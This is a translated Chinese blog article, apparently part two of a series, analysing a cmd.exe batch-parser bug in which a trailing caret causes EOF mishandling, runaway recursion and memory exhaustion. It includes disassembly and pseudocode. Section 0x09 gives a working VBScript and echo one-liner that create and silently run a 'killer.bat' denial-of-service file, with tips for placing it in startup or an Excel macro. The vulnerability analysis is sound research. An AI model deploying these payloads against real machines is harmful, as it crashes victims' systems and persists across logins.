批处理解析漏洞[贰]

信息安全 1699 Views

0x07

Visual Studio 2010和cmd.exe进程,使用“简单”内存泄漏批处理文件(^),通过装置中断过程,使得解析器处于错误状态。检测完毕后,使用Process Explorer去验证我正调试的是什么模块,我有能力跟踪大量的代码流,在解析器中寻找 ^ 符号(hex 0x5E).

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

241

242

243

244

245

246

247

248

249

250

251

252

253

254

255

; start cmd.exe asm code flow

000000004A161D50 ; { start main (more init frame/code here)

; { start loop

000000004A161FC1 3B F5 cmp esi,ebp

; mem leak here?? esi == #bytes, ebp == our 8191 buffer size number

000000004A161FC3 7D 29 jge 000000004A161FEE

000000004A161FC5 0F B7 44 24 20 movzx eax,word ptr [rsp+20h]

000000004A161FCA 48 8D 54 24 70 lea rdx,[rsp+70h]

000000004A161FCF 48 8D 4C 24 20 lea rcx,[rsp+20h]

000000004A161FD4 66 89 03 mov word ptr [rbx],ax

000000004A161FD7 48 83 C3 02 add rbx,2

000000004A161FDB FF C6 inc esi

000000004A161FDD 48 89 5C 24 60 mov qword ptr [rsp+60h],rbx

000000004A161FE2 E8 99 04 00 00 call 000000004A162480 ; main_parser_fn

000000004A161FE7 3D 00 01 00 00 cmp eax,100h

000000004A161FEC 75 D3 jne 000000004A161FC1

; } end loop

000000004A162058 ; } end main?? function here

; { start main_parser_fn

000000004A162480 48 8B C4 mov rax,rsp

000000004A162483 48 89 58 08 mov qword ptr [rax+8],rbx

000000004A162487 48 89 70 10 mov qword ptr [rax+10h],rsi

000000004A16248B 48 89 78 18 mov qword ptr [rax+18h],rdi

000000004A16248F 4C 89 60 20 mov qword ptr [rax+20h],r12

000000004A162493 41 55 push r13

000000004A162495 48 83 EC 20 sub rsp,20h

000000004A162499 48 8B DA mov rbx,rdx

000000004A16249C 48 8B F9 mov rdi,rcx

000000004A16249F E8 BC FB FF FF call 000000004A162060 ; get_next_char

000000004A1624A4 33 F6 xor esi,esi

000000004A1624A6 66 89 07 mov word ptr [rdi],ax

000000004A1624A9 39 35 D1 98 03 00 cmp dword ptr [4A19BD80h],esi

000000004A1624AF 0F 85 F1 75 01 00 jne 000000004A179AA6

000000004A1624B5 0F B7 17 movzx edx,word ptr [rdi]

000000004A1624B8 41 BD 3C 00 00 00 mov r13d,3Ch

000000004A1624BE 8B CA mov ecx,edx

000000004A1624C0 45 8D 65 CE lea r12d,[r1332h]

000000004A1624C4 3B D6 cmp edx,esi

000000004A1624C6 74 98 je 000000004A162460

000000004A1624C8 41 2B CC sub ecx,r12d

000000004A1624CB 74 93 je 000000004A162460

000000004A1624CD 83 E9 1C sub ecx,1Ch

000000004A1624D0 74 91 je 000000004A162463

000000004A1624D2 83 E9 02 sub ecx,2

000000004A1624D5 0F 84 61 FF FF FF je 000000004A16243C

000000004A1624DB 83 E9 01 sub ecx,1

000000004A1624DE 0F 84 6A FF FF FF je 000000004A16244E

000000004A1624E4 83 E9 13 sub ecx,13h

000000004A1624E7 0F 84 76 FF FF FF je 000000004A162463

000000004A1624ED 83 E9 02 sub ecx,2

000000004A1624F0 0F 84 6D FF FF FF je 000000004A162463

000000004A1624F6 83 E9 02 sub ecx,2

000000004A1624F9 0F 84 28 FF FF FF je 000000004A162427 ; quote_parse_fn

000000004A1624FF 41 3B CD cmp ecx,r13d ; check if it's the '<'

000000004A162502 0F 84 5B FF FF FF je 000000004A162463

000000004A162508 83 FA 5E cmp edx,5Eh ; start the '^' parse

000000004A16250B 0F 84 86 DC 00 00 je 000000004A170197 ; caret_parse

000000004A162511 83 FA 22 cmp edx,22h

000000004A162514 0F 84 5E 2F 00 00 je 000000004A165478

000000004A16251A F6 03 23 test byte ptr [rbx],23h

000000004A16251D 0F 84 E5 00 00 00 je 000000004A162608

000000004A162523 0F B7 0F movzx ecx,word ptr [rdi]

000000004A162526 FF 15 54 6C 02 00 call qword ptr [4A189180h]

000000004A16252C 3B C6 cmp eax,esi

000000004A16252E 0F 85 C0 10 00 00 jne 000000004A1635F4

000000004A162534 33 C0 xor eax,eax

000000004A162536 48 8B 5C 24 30 mov rbx,qword ptr [rsp+30h]

000000004A16253B 48 8B 74 24 38 mov rsi,qword ptr [rsp+38h]

000000004A162540 48 8B 7C 24 40 mov rdi,qword ptr [rsp+40h]

000000004A162545 4C 8B 64 24 48 mov r12,qword ptr [rsp+48h]

000000004A16254A 48 83 C4 20 add rsp,20h

000000004A16254E 41 5D pop r13

000000004A162550 C3 ret

; } end main_parser_fn

; { start get_next_char

000000004A162060 FF F3 push rbx

000000004A162062 48 83 EC 20 sub rsp,20h

000000004A162066 48 8B 05 0B C2 02 00 mov rax,qword ptr [4A18E278h]

000000004A16206D 8B 0D ED 9B 03 00 mov ecx,dword ptr [4A19BC60h]

000000004A162073 33 DB xor ebx,ebx

000000004A162075 66 39 18 cmp word ptr [rax],bx

000000004A162078 74 29 je 000000004A1620A3 ; when bx=0

000000004A16207A 66 83 38 0D cmp word ptr [rax],0Dh ; 0d = \r

000000004A16207E 0F 84 69 0E 00 00 je 000000004A162EED

000000004A162084 3B CB cmp ecx,ebx

000000004A162086 0F 85 46 7A 01 00 jne 000000004A179AD2

000000004A16208C 0F B7 08 movzx ecx,word ptr [rax]

000000004A16208F 48 83 C0 02 add rax,2

000000004A162093 48 89 05 DE C1 02 00 mov qword ptr [4A18E278h],rax

000000004A16209A 66 8B C1 mov ax,cx

000000004A16209D 48 83 C4 20 add rsp,20h

000000004A1620A1 5B pop rbx

000000004A1620A2 C3 ret

; } end get_next_char

000000004A1620A3 E8 18 00 00 00 call 000000004A1620C0

000000004A1620A8 48 8B 05 C9 C1 02 00 mov rax,qword ptr [4A18E278h]

000000004A1620AF 8B 0D AB 9B 03 00 mov ecx,dword ptr [4A19BC60h]

000000004A1620B5 EB C3 jmp 000000004A16207A

000000004A1620C0 ; this starts a large chunk of code that does more parsing (as well as calls

; some CriticalSection code) it's omitted from this because the issues that are prevalent in the

; rest of the code are pertaining to the 'caret_parser' not returning properly. The 'memory leak'

; is in this section code (an 8k buffer read that's also checked in main loop).

; { start quote_parse

000000004A162463 F6 03 22 test byte ptr [rbx],22h

000000004A162466 0F 85 9C 00 00 00 jne 000000004A162508

000000004A16246C B8 00 01 00 00 mov eax,100h

000000004A162471 E9 C0 00 00 00 jmp 000000004A162536

; } end quote_parse

; { start caret_parse

000000004A170197 F6 03 22 test byte ptr [rbx],22h ; check if '"'

000000004A17019A 0F 85 71 23 FF FF jne 000000004A162511 ; if char == '"'

000000004A1701A0 E8 BB 1E FF FF call 000000004A162060 ; get_next_char

000000004A1701A5 66 89 07 mov word ptr [rdi],ax ; ax will be 0 if EOF

000000004A1701A8 66 41 3B C4 cmp ax,r12w ; r12w is 0x0A ('\n') here, so this is a EOL check (fail in EOF case)

000000004A1701AC 0F 85 82 23 FF FF jne 000000004A162534 ; this is the jump back to the 'main_parser_fn' <error

000000004A1701B2 E9 0B 99 00 00 jmp 000000004A179AC2 ; == call 000000004A162060 (get_next_char)

000000004A1701B7 33 C9 xor ecx,ecx

000000004A1701B9 E8 22 1B FF FF call 000000004A161CE0

; } end caret_parse

; end cmd.exe asm code flow

cmd.exe 解析代码和以下代码差不多。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

void main_parser_fn() {

/* the 'some_read_condition' is based on a lot of things but

interestingly one of them is an 8k buffer size; the ASM

shows an 8191 byte buffer for reading/parsing, but I

couldn't ascertain why having a buffer divisible by exactly

8192 bytes in the line buffer was 'ok' but anything more or

less causes the continuation (mem leak)?? */

while (some_read_condition) {

// allocate 8k buffer appropriately

x = get_next_char();

if (x == '|' || x == '&') {

main_parser_fn();

}

if (x == '^') {

get_next_char(); // error here

// POSSIBLE FIX:

// if (get_next_char() == 0) { abort_batch(); }

continue;

}

// free buffer (never get here due to EOF error)

}

}

似乎,脱字符号后面就是问题所在了。

0x08

^)时,从文件中读取下一个字符(也就是直接就避开了脱字符号)。如果脱字符号是文件中最后一个字符,这就会导致一个逻辑错误,当调用get_next_char函数时,文件指针就会逐渐增加;在这种情况下,EOF已经被传递了。当命令解析器读取下一个输入时,EOF就被忽略了,本质上“重置”这个文件指针会得到EOF+1错误。在这种情况下,将文件指针EOF+1 调整到很大的负数区域,由于他的文件指针重置不为0,文件的解析依旧是从上次的地方开始。

| 或者 &时 ,因为EOF BUG造成了没有返回路径,所以形成了无限递归。

^)在文件的末尾是不存在这个BUG的,我正在检测反编译ASM,看是否还有其他的情况,为什么会出现这种情况。

0x09

killer”批处理文件的vbscript

1

CreateObject("Scripting.FileSystemObject").CreateTextFile("killer.bat", True).Write("^ nul<^") & VbCrCreateObject("WScript.Shell").Run "killer.bat", 0, False

^ nul<^ 然后自动运行它,这个脚本可以放到一个.vbs文件中并加入到startup中,或者放入excel宏中运行。

1

echo|set /p="^ nul<^" > killer.bat

Killer.bat的批处理文件( \r\n在文件的末尾,做一个正常的回显,因此错误不会显示)

vbscript(和其他测试批处理文件一样),将它放入我的startup已经注册表中。当我登录后过了几秒,系统开始变得很卡,最后不能使用了,因为脚本正在消耗我的RAM,这个脚本可以通过结束cmd.exe进程而终止,但是因为他们工作速度太快,你甚至可能没有启动任务管理器的时间,其就讲RAM消耗完了。除非进入安全模式,改变它,而不是修复!

我可以想象到一个场景,一个毫无戒心的管理员,要运行一个backup.bat 脚本,刚好这个BUG也在脚本里面,后面的你可以自由发挥想象了。但愿我不会看到这个exploits在DoS或其他一些恶作剧中被使用。

我还检测了各种管道途径,以及改道的“破损”脚本,目前最简单的攻击方式便是利用“快速”版本进行DoS攻击。我在Windows 98, 2000, XP, Vista, 7, 8以及sever版本(包括32位,以及64位)上测试了这个BUG。Windows 98上的命令提示符不会受到影响,但是后面的版本(包括command.com 当使用 cmd.exe 解析批处理)出于好奇心,我还在ReactOS 和 Wine 上进行测试(都没有这个问题).

译者注:全文大结局,由于小编对某些词汇不够理解,译文或许有诸多不当,或比较生硬,希望朋友们能够指出不当之处,我会在第一时间进行修改,谢谢大家的理解!

(点击“阅读原文”可以进行评论或浏览更多文章喔,还可直接回复订阅号,告诉妹子你的看法()~*

如未说明则本站原创,转载请注明出处:NULL » 批处理解析漏洞[贰]